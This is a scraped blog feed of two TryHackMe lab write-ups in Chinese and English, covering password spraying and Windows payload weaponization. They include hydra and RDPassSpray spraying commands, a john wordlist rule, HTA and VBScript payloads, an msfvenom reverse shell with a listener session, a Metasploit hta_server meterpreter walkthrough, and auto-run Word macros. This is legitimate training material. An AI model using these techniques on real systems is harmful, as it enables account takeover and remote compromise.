&lt;p&gt;Common and weak passwords often follow a pattern and format. Some commonly used passwords and their overall format can be found below.&lt;br&gt;通用密码和弱密码通常遵循一种模式和格式。一些常用的密码及其整体格式可以在下面找到。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The current season followed by the current year (SeasonYear). For example, &lt;strong&gt;Fall2020&lt;/strong&gt;, &lt;strong&gt;Spring2021&lt;/strong&gt;, etc.&lt;br&gt;当前季节后跟当前年份 （SeasonYear）。例如，Fall2020、Spring2021 等。&lt;/li&gt;
&lt;li&gt;The current month followed by the current year (MonthYear). For example, &lt;strong&gt;November2020&lt;/strong&gt;, &lt;strong&gt;March2021&lt;/strong&gt;, etc.&lt;br&gt;当前月份后跟当前年份 （MonthYear）。例如，November2020、March2021 等。&lt;/li&gt;
&lt;li&gt;Using the company name along with random numbers (CompanyNameNumbers). For example, &lt;strong&gt;TryHackMe01&lt;/strong&gt;, &lt;strong&gt;TryHackMe02&lt;/strong&gt;.&lt;br&gt;使用公司名称和随机数 （CompanyNameNumbers）。例如，TryHackMe01、TryHackMe02。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If a password complexity policy is enforced within the organization, we may need to create a password that includes symbols to fulfill the requirement, such as October2021!, Spring2021!, October2021@, etc. &lt;strong&gt;To be successful in the password spraying attack, we need to enumerate the target and create a list of valid usernames (or email addresses list)&lt;/strong&gt;&lt;br&gt;如果在组织内强制实施密码复杂性策略，我们可能需要创建一个包含符号的密码来满足要求，例如 October2021！， Spring2021！October2021@等为了在密码喷射攻击中取得成功，我们需要枚举目标并创建一个有效用户名列表（或电子邮件地址列表）.&lt;/p&gt;
&lt;p&gt;Next, we will apply the password spraying technique using different scenarios against various services, including:&lt;br&gt;接下来，我们将针对各种服务应用使用不同场景的密码喷射技术，包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;u&gt;SSH&lt;/u&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;u&gt;RDP&lt;/u&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Outlook web access (OWA) portal&lt;br&gt;Outlook Web Access （OWA） 门户  &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;u&gt;SMB&lt;/u&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;u&gt;SSH&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;Assume that we have already enumerated the system and created a valid username list.&lt;br&gt;假设我们已经枚举了系统并创建了一个有效的用户名列表。&lt;/p&gt;
&lt;p&gt;Hashcat 哈希猫&lt;/p&gt;
&lt;p&gt;Here we can use hydra to perform the password spraying attack against the SSH service using the Spring2021 password.&lt;br&gt;这里我们可以使用 hydra 使用 Spring2021 密码对 SSH 服务进行口令喷射攻击。&lt;/p&gt;
&lt;p&gt;Hashcat 哈希猫&lt;/p&gt;
&lt;p&gt;Note that L is to load the list of valid usernames, and -p uses the Spring2021 password against the SSH service at 10.1.1.10. The above output shows that we have successfully found credentials.&lt;br&gt;请注意，L 用于加载有效用户名列表，而 -p 在 10.1.1.10 处对 SSH 服务使用 Spring2021 密码。上面的输出显示我们已成功找到凭据。&lt;/p&gt;
&lt;h3&gt;&lt;u&gt;RDP&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;Let&amp;#39;s assume that we found an exposed RDP service on port 3026. We can use a tool such as &lt;a href=&quot;https://github.com/xFreed0m/RDPassSpray&quot;&gt;RDPassSpray&lt;/a&gt; to password spray against RDP. First, install the tool on your attacking machine by following the installation instructions in the tool’s GitHub repo. As a new user of this tool, we will start by executing the python3 RDPassSpray.py -h command to see how the tools can be used&lt;br&gt;假设我们在端口 3026 上发现了一个公开的 RDP 服务。我们可以使用RDPassSpray等工具对RDP进行密码喷射。首先，按照工具的 GitHub 存储库中的安装说明在攻击计算机上安装该工具。作为此工具的新用户，我们将首先执行 python3 RDPassSpray.py -h 命令，看看如何使用这些工具:&lt;/p&gt;
&lt;p&gt;Hashcat 哈希猫&lt;/p&gt;
&lt;p&gt;Now, let&amp;#39;s try using the (-u) option to specify the victim as a username and the (-p) option set the Spring2021!. The (-t) option is to select a single host to attack&lt;br&gt;现在，让我们尝试使用 （-u） 选项将受害者指定为用户名，并使用 （-p） 选项设置 Spring2021！。（-t） 选项是选择要攻击的单个主机.&lt;/p&gt;
&lt;p&gt;Hashcat 哈希猫&lt;/p&gt;
&lt;p&gt;The above output shows that we successfully found valid credentials victim:Spring2021!. Note that we can specify a domain name using the -d option if we are in an Active Directory environment&lt;br&gt;以上输出显示我们已成功找到有效的凭据 victim：Spring2021！请注意，如果我们在 Active Directory 环境中，我们可以使用 -d 选项指定域名.&lt;/p&gt;
&lt;p&gt;Hashcat 哈希猫&lt;/p&gt;
&lt;p&gt;There are various tools that perform a spraying password attack against different services, such as:&lt;br&gt;有各种工具可以对不同的服务执行喷洒密码攻击，例如：**&lt;br&gt;**&lt;/p&gt;
&lt;h3&gt;Outlook web access (OWA) portal&lt;/h3&gt;
&lt;p&gt;Outlook Web Access （OWA） 门户  &lt;/p&gt;
&lt;p&gt;Tools: 工具：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/byt3bl33d3r/SprayingToolkit&quot;&gt;SprayingToolkit&lt;/a&gt; (atomizer.py)&lt;br&gt;喷涂工具包 （atomizer.py）&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/dafthack/MailSniper&quot;&gt;MailSniper邮件狙击手&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;u&gt;SMB&lt;/u&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Tool: &lt;u&gt;Metasploit&lt;/u&gt; (auxiliary/scanner/smb/smb_login)&lt;br&gt;工具：Metasploit （auxiliary/scanner/smb/smb_login）&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@THM:~# cat usernames-list.txt
admin
victim
dummy
adm
sammy
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@THM:~$ hydra -L usernames-list.txt -p Spring2021 ssh://10.1.1.10
[INFO] Successful, password authentication is supported by ssh://10.1.1.10:22
[22][ssh] host: 10.1.1.10 login: victim password: Spring2021
[STATUS] attack finished for 10.1.1.10 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@THM:~# python3 RDPassSpray.py -h
usage: RDPassSpray.py [-h] (-U USERLIST | -u USER  -p PASSWORD | -P PASSWORDLIST) (-T TARGETLIST | -t TARGET) [-s SLEEP | -r minimum_sleep maximum_sleep] [-d DOMAIN] [-n NAMES] [-o OUTPUT] [-V]

optional arguments:
  -h, --help            show this help message and exit
  -U USERLIST, --userlist USERLIST
                        Users list to use, one user per line
  -u USER, --user USER  Single user to use
  -p PASSWORD, --password PASSWORD
                        Single password to use
  -P PASSWORDLIST, --passwordlist PASSWORDLIST
                        Password list to use, one password per line
  -T TARGETLIST, --targetlist TARGETLIST
                        Targets list to use, one target per line
  -t TARGET, --target TARGET
                        Target machine to authenticate against
  -s SLEEP, --sleep SLEEP
                        Throttle the attempts to one attempt every # seconds, can be randomized by passing the value &amp;#39;random&amp;#39; - default is 0
  -r minimum_sleep maximum_sleep, --random minimum_sleep maximum_sleep
                        Randomize the time between each authentication attempt. Please provide minimun and maximum values in seconds
  -d DOMAIN, --domain DOMAIN
                        Domain name to use
  -n NAMES, --names NAMES
                        Hostnames list to use as the source hostnames, one per line
  -o OUTPUT, --output OUTPUT
                        Output each attempt result to a csv file
  -V, --verbose         Turn on verbosity to show failed attempts
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@THM:~# python3 RDPassSpray.py -u victim -p Spring2021! -t 10.100.10.240:3026
[13-02-2021 16:47] - Total number of users to test: 1
[13-02-2021 16:47] - Total number of password to test: 1
[13-02-2021 16:47] - Total number of attempts: 1
[13-02-2021 16:47] - [*] Started running at: 13-02-2021 16:47:40
[13-02-2021 16:47] - [+] Cred successful (maybe even Admin access!): victim :: Spring2021!
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@THM:~# python3 RDPassSpray.py -U usernames-list.txt -p Spring2021! -d THM-labs -T RDP_servers.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Answer the questions below&lt;/h3&gt;
&lt;p&gt;回答以下问题
Use the following username list:&lt;br&gt;使用以下用户名列表：&lt;/p&gt;
&lt;p&gt;Password spraying attack!&lt;br&gt;口令喷射攻击！&lt;/p&gt;
&lt;p&gt;Perform a password spraying attack to get access to the SSH://10.10.76.160 server to read /etc/flag. &lt;strong&gt;What is the flag?&lt;/strong&gt;&lt;br&gt;执行密码喷射攻击以访问 SSH://10.10.76.160 服务器以读取 /etc/flag。什么是旗帜？&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@THM:~# cat usernames-list.txt 
admin
phillips
burgess
pittman
guess
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;hint:季节+年份+特殊角色。对于这个季节，请考虑使用秋季而不是秋季。对于年份，尝试 （2020-2021） 之间的年份&lt;/p&gt;
&lt;p&gt;根据提示信息，我们先创建一个包含季节的初始字典文件：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;#pass.txt
Spring
Summer
Fall
Winter
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后，我们根据提示信息设置一个john自定义规则，再使用这个自定义规则扩展初始字典文件(pass.txt)：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;#根据提示信息设置john自定义规则
sudo nano /etc/john/john.conf
#在配置文件内容的696行以后寻找添加位置
[List.Rules:THM-PassSpray]      #自定义名称
Az&amp;quot;[2][0][2][0-1]&amp;quot; $[!@]

#使用自定义规则扩展初始字典文件(pass.txt)
john --wordlist=pass.txt --rules=THM-PassSpray --stdout | &amp;gt; AddPASS.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;hydra -L usernames-list.txt -P AddPASS.txt ssh://10.10.65.73
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ssh burgess@10.10.65.73
#password: Fall2021@
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-password-attacks/&quot;&gt;https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-password-attacks/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Fri, 05 Apr 2024 00:00:00 GMT</pubDate></item><item><title>TryHackMe-Weaponization</title><link>https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-weaponization/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-weaponization/</guid><description>Red Teaming</description><content:encoded>&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Weaponization-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;大多数组织在其受控环境中阻止或监视.exe&lt;/strong&gt; 文件的执行 。出于这个原因，红队依赖于使用其他技术来执行有效负载，例如内置的 Windows 脚本技术。因此，此任务侧重于各种流行且有效的脚本编写技术，包括:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Windows 脚本宿主 (WSH)&lt;/li&gt;
&lt;li&gt;HTML 应用程序 (HTA)&lt;/li&gt;
&lt;li&gt;Visual Basic 应用程序 (VBA)&lt;/li&gt;
&lt;li&gt;电力外壳 (PSH)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Windows 脚本主机 （WSH）&lt;/h1&gt;
&lt;p&gt;它是一个 Windows 本机引擎，cscript.exe（用于命令行脚本）和 wscript.exe（用于 UI 脚本），负责执行各种Microsoft Visual Basic 脚本 （VBScript），包括 vbs 和 vbe。有关 VBScript 的更多信息，请访问此处。需要注意的是，Windows 操作系统上的 VBScript 引擎以与普通用户相同的访问和权限级别运行和执行应用程序;因此，它对红队队员很有用。&lt;/p&gt;
&lt;p&gt;现在，让我们编写一个简单的 VBScript 代码来创建一个显示“欢迎使用 THM”消息的 Windows 消息框。请确保将以下代码保存到文件中，例如 hello.vbs.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Dim message 
message = &amp;quot;Welcome to THM&amp;quot;
MsgBox message
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Weaponization-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;现在，让我们使用 VBScript 来运行可执行文件。以下 vbs 代码用于调用 Windows 计算器，证明我们可以使用 Windows 本机引擎 （WSH） 执行.exe文件。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;Set shell = WScript.CreateObject(&amp;quot;Wscript.Shell&amp;quot;)
shell.Run(&amp;quot;C:\Windows\System32\calc.exe &amp;quot; &amp;amp; WScript.ScriptFullName),0,True
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们使用 CreateObject 创建 WScript 库的对象来调用执行有效负载。然后，我们利用 Run 方法来执行有效负载。对于此任务，我们将运行 Windows calculatorcalc.exe。&lt;/p&gt;
&lt;p&gt;要执行 vbs 文件，我们可以使用 wscript 运行它，如下所示：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;c:\Windows\System32&amp;gt;wscript c:\Users\thm\Desktop\payload.vbs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 我们也可以通过 cscript 运行它，如下所示：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;c:\Windows\System32&amp;gt;cscript.exe c:\Users\thm\Desktop\payload.vbs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 因此，Windows 计算器将显示在桌面上。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Weaponization-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;另一个技巧。如果 VBS 文件被列入黑名单，那么我们可以将文件重命名为 .txt 文件并使用 wscript 运行它，如下所示：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;c:\Windows\System32&amp;gt;wscript /e:VBScript c:\Users\thm\Desktop\payload.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 结果将与执行运行calc.exe二进制文件的 vbs 文件一样精确。  &lt;/p&gt;
&lt;h1&gt;&lt;/h1&gt;
&lt;p&gt; HTML 应用程序 （HTA）
HTA stands for “HTML Application.” It allows you to create a downloadable file that takes all the information regarding how it is displayed and rendered. HTML Applications, also known as HTAs, which are dynamic HTML pages containing JScript and VBScript. The LOLBINS (Living-of-the-land Binaries) tool mshta is used to execute &lt;u&gt;HTA&lt;/u&gt; files. It can be executed by itself or automatically from Internet Explorer.&lt;br&gt;HTA 代表“HTML 应用程序”。它允许您创建一个可下载的文件，该文件包含有关其显示和呈现方式的所有信息。HTML 应用程序，也称为 HTA，它们是包含 JScript 和 VBScript 的动态 HTML 页面。LOLBINS（Living-of-the-land Binaries）工具mshta用于执行HTA文件。它可以自行执行，也可以从 Internet Explorer 自动执行。&lt;/p&gt;
&lt;p&gt;In the following example, we will use an &lt;a href=&quot;https://en.wikipedia.org/wiki/ActiveX&quot;&gt;ActiveXObject&lt;/a&gt; in our payload as proof of concept to execute cmd.exe. Consider the following HTML code.&lt;br&gt;在下面的示例中，我们将使用有效负载中的 ActiveXObject 作为概念证明来执行cmd.exe。请考虑以下 HTML 代码。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;lt;html&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;script&amp;gt;
	var c= &amp;#39;cmd.exe&amp;#39;
	new ActiveXObject(&amp;#39;WScript.Shell&amp;#39;).Run(c);
&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then serve the payload.hta from a web server, this could be done from the attacking machine as follows,&lt;br&gt;然后从 Web 服务器提供 payload.hta，这可以从攻击机器完成，如下所示：&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@machine$ python3 -m http.server 8090
Serving HTTP on 0.0.0.0 port 8090 (http://0.0.0.0:8090/)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On the victim machine, visit the malicious link using Microsoft Edge, &lt;a href=&quot;http://10.8.232.37:8090/payload.hta&quot;&gt;http://10.8.232.37:8090/payload.hta&lt;/a&gt;. Note that the 10.8.232.37 is the AttackBox&amp;#39;s IP address.&lt;br&gt;在受害计算机上，使用 Microsoft Edge 访问恶意链接，&lt;a href=&quot;http://10.8.232.37:8090/payload.hta%E3%80%82%E8%AF%B7%E6%B3%A8%E6%84%8F%EF%BC%8C10.8.232.37&quot;&gt;http://10.8.232.37:8090/payload.hta。请注意，10.8.232.37&lt;/a&gt; 是 AttackBox 的 IP 地址。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Weaponization-4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Once we press Run, the payload.hta gets executed, and then it will invoke the cmd.exe. The following figure shows that we have successfully executed the cmd.exe&lt;br&gt;一旦我们按下运行，payload.hta 就会被执行，然后它将调用cmd.exe。下图显示我们已经成功执行了cmd.exe.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Weaponization-5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;u&gt;HTA&lt;/u&gt;&lt;/strong&gt;** &lt;strong&gt;&lt;strong&gt;Reverse Connection&lt;/strong&gt;&lt;/strong&gt; **&lt;strong&gt;HTA 反向连接&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We can create a reverse shell payload as follows,&lt;br&gt;我们可以创建一个反向 shell 有效负载，如下所示：&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;We use the msfvenom from the &lt;u&gt;Metasploit&lt;/u&gt; framework to generate a malicious payload to connect back to the attacking machine. We used the following payload to connect the windows/x64/shell_reverse_tcp to our IP and listening port.&lt;br&gt;我们使用 Metasploitframework 中的 msfvenom 来生成恶意负载以连接回攻击机器。我们使用以下有效负载将 windows/x64/shell_reverse_tcp 连接到我们的 IP 和侦听端口。&lt;/p&gt;
&lt;p&gt;On the attacking machine, we need to listen to the port 443 using nc. Please note this port needs root privileges to open, or you can use different ones.&lt;br&gt;在攻击机器上，我们需要使用 nc 监听端口 443。请注意，此端口需要root权限才能打开，或者您可以使用其他权限。&lt;/p&gt;
&lt;p&gt;Once the victim visits the malicious URL and hits run, we get the connection back.&lt;br&gt;一旦受害者访问恶意 URL 并点击运行，我们就会恢复连接。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;Malicious &lt;u&gt;HTA&lt;/u&gt; via &lt;u&gt;Metasploit&lt;/u&gt;&lt;br&gt;通过 Metasploit 的恶意 HTA &lt;/p&gt;
&lt;p&gt;There is another way to generate and serve malicious HTA files using the Metasploit framework. First, run the Metasploit framework using msfconsole -q command. Under the exploit section, there is exploit/windows/misc/hta_server, which requires selecting and setting information such as LHOST, LPORT, SRVHOST, Payload, and finally, executing exploit to run the module.&lt;br&gt;还有另一种方法可以使用 Metasploit 框架生成和提供恶意 HTA 文件。首先，使用 msfconsole -q 命令运行 Metasploit 框架。在漏洞利用部分下，有 exploit/windows/misc/hta_server，它需要选择和设置 LHOST、LPORT、SRVHOST、Payload 等信息，最后执行 EXPLOIT 来运行模块。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;On the victim machine, once we visit the malicious &lt;u&gt;HTA&lt;/u&gt; file that was provided as a URL by &lt;u&gt;Metasploit&lt;/u&gt;, we should receive a reverse connection.&lt;br&gt;在受害机器上，一旦我们访问了Metasploit作为URL提供的恶意HTA文件，我们应该会收到一个反向连接。  &lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@machine$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.232.37 LPORT=443 -f hta-psh -o thm.hta
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of hta-psh file: 7692 bytes
Saved as: thm.hta
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@machine$ sudo nc -lvp 443
listening on [any] 443 ...
10.8.232.37: inverse host lookup failed: Unknown host
connect to [10.8.232.37] from (UNKNOWN) [10.10.201.254] 52910
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\thm\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\TempState\Downloads&amp;gt;
pState\Downloads&amp;gt;ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet 4:

   Connection-specific DNS Suffix  . : eu-west-1.compute.internal
   Link-local IPv6 Address . . . . . : fe80::fce4:699e:b440:7ff3%2
   IPv4 Address. . . . . . . . . . . : 10.10.201.254
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : 10.10.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;msf6 &amp;gt; use exploit/windows/misc/hta_server
msf6 exploit(windows/misc/hta_server) &amp;gt; set LHOST 10.8.232.37
LHOST =&amp;gt; 10.8.232.37
msf6 exploit(windows/misc/hta_server) &amp;gt; set LPORT 443
LPORT =&amp;gt; 443
msf6 exploit(windows/misc/hta_server) &amp;gt; set SRVHOST 10.8.232.37
SRVHOST =&amp;gt; 10.8.232.37
msf6 exploit(windows/misc/hta_server) &amp;gt; set payload windows/meterpreter/reverse_tcp
payload =&amp;gt; windows/meterpreter/reverse_tcp
msf6 exploit(windows/misc/hta_server) &amp;gt; exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/misc/hta_server) &amp;gt;
[*] Started reverse TCP handler on 10.8.232.37:443
[*] Using URL: http://10.8.232.37:8080/TkWV9zkd.hta
[*] Server started.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@machine$ [*] 10.10.201.254    hta_server - Delivering Payload
[*] Sending stage (175174 bytes) to 10.10.201.254
[*] Meterpreter session 1 opened (10.8.232.37:443 -&amp;gt; 10.10.201.254:61629) at 2021-11-16 06:15:46 -0600
msf6 exploit(windows/misc/hta_server) &amp;gt; sessions -i 1
[*] Starting interaction with 1...

meterpreter &amp;gt; sysinfo
Computer        : DESKTOP-1AU6NT4
OS              : Windows 10 (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x86/windows
meterpreter &amp;gt; shell
Process 4124 created.
Channel 1 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\app&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;Now, apply what we discussed to receive a reverse connection using the user simulation machine in the Practice Arena task.&lt;br&gt;现在，应用我们讨论的内容，在 Practice Arena 任务中使用用户模拟机器接收反向连接。&lt;/p&gt;
&lt;h1&gt;&lt;/h1&gt;
&lt;p&gt;Visual Basic 应用程序 （VBA）
VBA stands for Visual Basic for Applications, a programming language by Microsoft implemented for Microsoft applications such as Microsoft Word, Excel, PowerPoint, etc. VBA programming allows automating tasks of nearly every keyboard and mouse interaction between a user and Microsoft Office applications.&lt;br&gt;VBA 代表 Visual Basic for Applications，这是 Microsoft 为 Microsoft 应用程序（如 Microsoft Word、Excel、PowerPoint 等）实现的一种编程语言。 VBA 编程允许自动执行用户与 Microsoft Office 应用程序之间几乎所有键盘和鼠标交互的任务。  &lt;/p&gt;
&lt;p&gt;Macros are Microsoft Office applications that contain embedded code written in a programming language known as Visual Basic for Applications (VBA). It is used to create custom functions to speed up manual tasks by creating automated processes. One of VBA&amp;#39;s features is accessing the Windows Application Programming Interface (&lt;a href=&quot;https://en.wikipedia.org/wiki/Windows_API&quot;&gt;API&lt;/a&gt;) and other low-level functionality. For more information about VBA, visit &lt;a href=&quot;https://en.wikipedia.org/wiki/Visual_Basic_for_Applications&quot;&gt;here&lt;/a&gt;.&lt;br&gt;宏是 Microsoft Office 应用程序，其中包含用称为 Visual Basic for Applications （VBA） 的编程语言编写的嵌入式代码。它用于创建自定义函数，通过创建自动化流程来加快手动任务。VBA 的功能之一是访问 Windows 应用程序编程接口 （API） 和其他低级功能。有关 VBA 的详细信息，请访问此处。&lt;/p&gt;
&lt;p&gt;In this task, we will discuss the basics of VBA and the ways the adversary uses macros to create malicious Microsoft documents. To follow up along with the content of this task, make sure to deploy the attached Windows machine in Task 2. When it is ready, it will be available through in-browser access.&lt;br&gt;在此任务中，我们将讨论 VBA 的基础知识以及攻击者使用宏创建恶意 Microsoft 文档的方式。若要跟进此任务的内容，请确保在任务 2 中部署连接的 Windows 计算机。准备就绪后，将通过浏览器内访问提供。&lt;/p&gt;
&lt;p&gt;Now open Microsoft Word 2016 from the Start menu. Once it is opened, we close the product key window since we will use it within the seven-day trial period.&lt;br&gt;现在从“开始”菜单打开Microsoft Word 2016。打开后，我们将关闭产品密钥窗口，因为我们将在 7 天的试用期内使用它。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Weaponization-6.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;Next, make sure to accept the Microsoft Office license agreement that shows after closing the product key window.&lt;br&gt;接下来，请确保接受关闭产品密钥窗口后显示的 Microsoft Office 许可协议。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Weaponization-7.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Now create a new blank Microsoft document to create our first macro. The goal is to discuss the basics of the language and show how to run it when a Microsoft Word document gets opened. First, we need to open the Visual Basic Editor by selecting view → macros. The Macros window shows to create our own macro within the document.&lt;br&gt;现在创建一个新的空白 Microsoft 文档以创建我们的第一个宏。目标是讨论该语言的基础知识，并展示如何在打开 Microsoft Word 文档时运行它。首先，我们需要通过选择“视图”→宏来打开 Visual Basic 编辑器。将显示“宏”窗口，以在文档中创建我们自己的宏。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Weaponization-8.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;In the Macro name section, we choose to name our macro as &lt;u&gt;THM&lt;/u&gt;. Note that we need to select from the Macros in list Document1 and finally select create. Next, the Microsoft Visual Basic for Application editor shows where we can write VBA code. Let&amp;#39;s try to show a message box with the following message: Welcome to Weaponization Room!. We can do that using the MsgBox function as follows:&lt;br&gt;在宏名称部分，我们选择将宏命名为 THM。请注意，我们需要从列表 Document1 中的宏中进行选择，最后选择创建。接下来，Microsoft Visual Basic应用程序编辑器显示了我们可以编写VBA代码的位置。让我们尝试显示一个消息框，其中包含以下消息：欢迎来到武器化室！我们可以使用 MsgBox 函数来做到这一点，如下所示：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;Sub THM()
  MsgBox (&amp;quot;Welcome to Weaponization Room!&amp;quot;)
End Sub
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, run the macro by F5 or Run → Run Sub/UserForm&lt;br&gt;最后，按 F5 运行宏或运行 → 运行 Sub/UserForm.&lt;/p&gt;
&lt;p&gt;Now in order to execute the VBA code automatically once the document gets opened, we can use built-in functions such as AutoOpen and Document_open. Note that we need to specify the function name that needs to be run once the document opens, which in our case, is the &lt;u&gt;THM&lt;/u&gt; function.&lt;br&gt;现在，为了在打开文档后自动执行VBA代码，我们可以使用AutoOpen和Document_open等内置功能。请注意，我们需要指定文档打开后需要运行的函数名称，在我们的例子中，它是 THM 函数。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;Sub Document_Open()
  THM
End Sub

Sub AutoOpen()
  THM
End Sub

Sub THM()
   MsgBox (&amp;quot;Welcome to Weaponization Room!&amp;quot;)
End Sub
&lt;/code&gt;&lt;/pre&gt;
